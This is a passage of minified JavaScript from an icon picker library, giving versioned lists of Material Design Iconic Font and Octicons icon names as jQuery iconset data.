","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitter","twitter-box","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.2.0",icons:["","3d-rotation","500px","8tracks","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","amazon","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","blogger","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","delicious","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","disqus","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flattr","flickr","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-alt","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-old","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","odnoklassniki","open-in-browser","open-in-new","outlook","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","paypal-alt","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","playstation","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","reddit","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","rss","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","shape","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","skype","slideshare","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","soundcloud","space-bar","speaker","spellcheck","spinner","square-down","square-o","square-right","stackoverflow","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tumblr","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitch","twitter","twitter-box","undo","unfold-less","unfold-more","ungroup","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vimeo","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","whatsapp","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","xbox","yahoo","youtube","youtube-play","zero","zoom-in","zoom-out"]
}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_materialdesign=data}(jQuery);
!function($){var data={iconClass:"octicon",iconClassFix:"octicon-",icons:[],allVersions:[{version:"2.0.0",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","plus","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search","server","settings","sign-in","sign-out","split","squirrel","star","steps","stop","sync","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.0.1",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.0.2",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.1.0",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.1.1",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.1.2",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.2",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.3",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","m